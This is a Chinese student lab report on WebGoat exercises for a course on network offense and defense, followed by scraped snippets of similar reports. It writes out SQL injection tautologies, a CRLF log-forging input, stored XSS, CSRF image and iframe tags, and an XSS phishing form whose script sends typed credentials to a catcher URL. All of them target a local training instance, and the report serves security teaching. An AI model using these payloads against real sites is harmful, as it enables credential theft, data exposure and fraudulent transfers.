2018-2019-2 20165234 《网络对抗技术》 Exp9 Web安全基础

Exp9 Web安全基础

一、 实践内容

1. 安装JDK、Webgoat

2. SQL注入攻击

  • 数字型注入(Numeric SQL Injection)
  • 日志欺骗(Log Spoofing)
  • 字符串注入(String SQL Injection)
  • LAB: SQL Injection 之 Stage 1: 字符串型注入(Stage 1: String SQL Injection)

3. XSS攻击

  • 使用 XSS 钓鱼(Phishing with XSS)
  • 存储型XSS攻击(Stored XSS Attacks)

4. CSRF攻击

  • 跨站请求伪造(Cross Site Request Forgery (CSRF))
  • 绕过 CSRF 确认(CSRF Prompt By‐Pass)

二、基础问题

1. SQL注入攻击原理,如何防御

原理:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的。
防御:对输入进行限制,包括输入长度和特殊字符的类型等

2. XSS攻击的原理,如何防御

原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:收集JSP特征,对内容进行严格验证,规定格式。

3. CSRF攻击原理,如何防御

原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:在浏览器会话结束后清理cookie,在form中包含秘密信息、用户指定的代号作为cookie之外的验证。

三、实践过程记录

(一)安装JDK、Webgoat

  • Github下载Webgoat安装包

  • 拷贝到本地,并使用命令 java -jar webgoat-container-7.0.1-war-exec.jar 运行Webgoat

  • 当看到 Starting ProtocolHandler ["http-bio-8080"]这一条消息之后,即可开始后续的实验。
  • 在浏览器中输入 http://localhost:8080/WebGoat 打开WebGoat登录界面,使用下方登录名、密码进行登录(User、Password均可)

  • 成功登录后可在左侧看到实践课程

(二)SQL注入攻击

1. 数字型注入(Numeric SQL Injection)

原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。 SELECT * FROM weather_data WHERE station = [station]

目标:为了看到所有的信息,通过注入 SQL 字符串的方式查看所有的天气数据。

步骤:右键表单选择框的下拉框,选择 Inspect Element(Q) ,然后修改源代码。在某个选项的 value 值后面,加上代码  or 1=1 ,使该式子成为永真式。

  • SELECT * FROM weather_data WHERE station = 101 or 1 = 1 。由于后面是永真式,这样会执行语句 SELECT * FROM weather_data,可以查询到所有的信息。

2. 日志欺骗(Log Spoofing)

原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。

目标:灰色区域代表在Web服务器的日志中的记录的内容。我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”。升级我们的攻击,例如:在日志文件中插入脚本。

步骤:本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名: webgoat Login Succeeded for username admin ,这样用户名后面的信息会在同一行显示,而不是在新的一行:

  • 这样咱们可以往该应用中注入回车(0D%)和换行符(%0A)。在 username中填入 webgoat%0d%0aLogin Succeeded for username: admin ,这样就完成了该课程:

3. 字符串注入(String SQL Injection)

原理:基于以下查询语句构造自己的SQL注入字符串。

SELECT * FROM user_data WHERE last_name = ‘?‘

目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过SQL注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。

步骤:正常查询结果应该只有员工Smith的信息

  • 通过分析可知:将‘‘提前闭合,插入永真式然后注释掉后面的内容就可以了,所以输入 Smith‘ or 1=1 -- 即可完成本课程内容。注入成功后,便可看到所有员工的信息:

4. Stage 1: 字符串型注入(Stage 1: String SQL Injection)

目标:使用 SQL 注入绕过认证

步骤:在密码框右键选择 inspect Element 审查网页元素对长度进行修改,否则要注入的 永真式长度 大于 最大长度 ,将会注入失败。

以用户Neville登录,还是以永真式的形式输入密码 Smith‘ or 1=1 -- :

攻击成功,得到所有人员列表:

(二)XSS攻击

1. 使用 XSS 钓鱼(Phishing with XSS)

原理:如果有权限操作页面源代码,那么HTML文档的内容是可以被篡改的。

目标:创建一个form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam

步骤

  • 利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,需要结合起来使用:

    • 受害人填写一个表格
    • 以读取脚本的形式,将收集到的信息发送给攻击者
  • 一个带用户名和密码输入框的表格如下:
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
</form><br><br><HR>
  • 搜索这段代码,就能看到页面中增加了一个表单:

  • 下面这段脚本语言的代码会读取我们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat:
<script>
function hack()
{
   alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
   XSSImage=new Image;
   XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
  • 将以上两段代码合并,搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们:

2. 存储型XSS攻击(Stored XSS Attacks)

原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。

目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。

步骤:在title中任意输入字符,留言板中输入 <script>alert("20165234");</script> ,即可攻击成功。

(三)CSRF攻击

1. 跨站请求伪造(Cross Site Request Forgery (CSRF))

原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。

当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。该请求将包括与网站相关的任何cookies。因此,如果用户已经通过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是否是一个从合法用户发出的请求。通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能。

目的:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的 URL 指向一个恶意请求。尝试一个包括 1*1像素的图像,其中包含一个网址。这个URL应当用一个额外的参数“transferFunds= 4000”指向CRSF课程页面。您可以通过左侧菜单在CSRF课程连接上右键单击,选择复制快捷方式。无论谁收到这封邮件,并恰好已经通过身份验证,他的资金将会被转走。

注意:不同 WebGoat 环境的URL中“Screen ”和“Menu”参数可能会有所区别。请使用当前访问 URL 中正在使用的参数。

步骤:写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。

  • 在message框中输入代码 <img src="http://localhost:8080/WebGoat/attack?Screen=325&menu=900&transferFunds=4000"/>
  • 右侧可见:Screen=325&menu=900
  • 提交后,消息显示转走用户4000元,实现CSRF攻击。

2. 绕过 CSRF 确认(CSRF Prompt By‐Pass)

在message中写入以下两行攻击代码

<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>

<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
  • 构造CSRF攻击,包括了两个请求,转账请求和确认转账成功请求,传递两个参数给服务器
  • transferFunds=5000,transferFunds=CONFIRM
  • 实现CSRF攻击。

四、实验中遇到的问题及解决方案

安装webgoat时碰到登录成功后却无法显示教程

解决方法:原因是jdk与webgoat版本不匹配,或者是jdk未安装。具体教程见实践过程记录的第一个步骤。

五、实验总结

  • 本次实验整体还比较顺利的。在webgoat网页左侧的各种课程中,可以根据它给的solution和hints来具体学习原理与方法,并根据它所写的步骤来进行实验。在并未注入成功时,有红字去提示原因,而成功也会有提示。
  • 此次实验通过对多个SQL注入和XSS攻击,CSRF攻击的课程学习,我接触到了更多的不同实际情况下的各种对web的攻击,也在这个实践的过程中感受了很多现实情况下对漏洞的侵害。我们作为用户,在很多情况下,一旦在来历不明的连接中输入用户名和密码就,就会被截获密码信息等,十分危险。各种攻击方法复杂繁多,防御方法也很多,但是在一些比较薄弱的网站,就很容易被攻击成功。因此提高防范意识对我们而言十分重要,我们应当深入学习原理,从根源上防御攻击。

原文地址:https://www.cnblogs.com/IconicV/p/10927137.html

时间: 2024-10-10 03:52:21

2018-2019-2 20165234 《网络对抗技术》 Exp9 Web安全基础的相关文章

2018~2019-10 20165107 网络对抗技术 Exp9 Web安全基础

20165107 网络对抗技术 Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,包括(SQL,XSS,CSRF) Webgoat实践下相关实验. 基础问题问答 1.SQL注入攻击原理,如何防御 SQL注入攻击原理:是指通过构建特殊的输入作为参数传入Web应用程序,输入执行SQL语句进而执行攻击者所要的操作.如在用户名.密码登输入框中输入一些',--,#等特殊字符,实现引号闭合.注释部分SQL语句,利用永真式实现登录.显示信息等目的. 如何防御:

20145301赵嘉鑫 《网络对抗》Exp9 Web安全基础实践

20145301赵嘉鑫 <网络对抗>Exp9 Web安全基础实践 实验后回答问题 (1)SQL注入攻击原理,如何防御 SQL注入攻击原理:SQL 是一门 ANSI 的标准计算机语言,用来访问和操作数据库系统.SQL 语句用于取回和更新数据库中的数据.SQL注入是一种通过操作输入来修改后台SQL语句达到代码执行进行攻击目的的技术.通过构建特殊的输入作为参数传入web应用程序,通过执行SQL语句进执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户输入的数据,致使非法数据侵入系统. SQL注入

#20155232《网络对抗》Exp9 Web安全基础

20155232<网络对抗>Exp9 Web安全基础 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: OWASP(Open Web Application Security Project)是一个非营利的组织,它的目的是帮助个人和企业来发现和使用可信赖的软件

20155308《网络对抗》Exp9 Web安全基础实践

20155308<网络对抗>Exp9 Web安全基础实践 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞.WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS.线程安全.SQL注入等,我们本次的实验就是在WebGoat平台上进行. 1.WebGoat分为简单版和开发板,简单版是个Java的Jar包,

20155208徐子涵《网络对抗》Exp9 Web安全基础

20155208徐子涵<网络对抗>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理.Webgoat实践下相关实验. 实验过程 最后一次了,没有选择尝试免考项目的我最后一次进行这个紧张刺激的活动了. WebGoat Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击.sql注入.访问控制.隐藏字段.Cookie等: 首先我们在kali里面下载Webgoat,这是一个jar包,因为在虚

20155323刘威良《网络对抗》Exp9 Web安全基础

20155323刘威良<网络对抗>Exp9 Web安全基础 实践目的 理解常用网络攻击技术的基本原理. 实践内容 Webgoat实践下相关实验. 实践过程 开启WebGoat WebGoat是由OWASP负责维护的一个漏洞百出的J2EE Web应用程序,这些漏洞并非程序中的bug,而是故意设计用来进行Web应用程序安全训练的.这个应用程序提供了一个逼真的模拟实战的教学环境,为用户完成课程提供了有关的线索. 我们在终端下输入命令java -jar webgoat-container-7.0.1-

20145317彭垚《网络对抗》Exp9 Web安全基础实践

20145317彭垚<网络对抗>Exp9 Web安全基础实践 基础问题回答 SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的. 对于SQL注入攻击的防范,我觉得主要还是应该从代码上入手: 采用预编译语句集PreparedStatement,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可.它的原理就是sql注入只对sql语句的准备(编译)过程有破坏作用,而Prep

20145311王亦徐 《网络对抗技术》 Web安全基础实践

2014531王亦徐 <网络对抗技术> Web安全基础实践 实验内容 利用WebGoat平台尝试了一些XSS.CSRF.SQL注入攻击 基础问题回答 1.SQL注入攻击原理,如何防御原理: SQL注入是指攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息.简单地认为是将sql语句作为输入交给表单或者通过域名等将sql交给后台,从而欺骗服务器执行sql语句 防范: 过滤字符串,对一些数据库敏感

20145236《网络对抗》Exp9 web安全基础实践

20145236<网络对抗>Exp9 web安全基础实践 一.基础问题回答: SQL注入攻击原理,如何防御 SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句. 对用户的输入进行校验,可以通过正则表达式,或限制长

20155324《网络对抗技术》web安全基础实践

20155324<网络对抗技术>web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 实验问答 SQL注入攻击原理,如何防御 ①SQL注入攻击是攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击,最终达到欺骗服务器执行恶意的SQL命令 ②对输入的数据进行过滤,在数据库中对密码进行加密 XSS攻击的原理,如何防御 ①通过对网页注入可执行代码,成功地被浏览器执行,以达到攻击的目的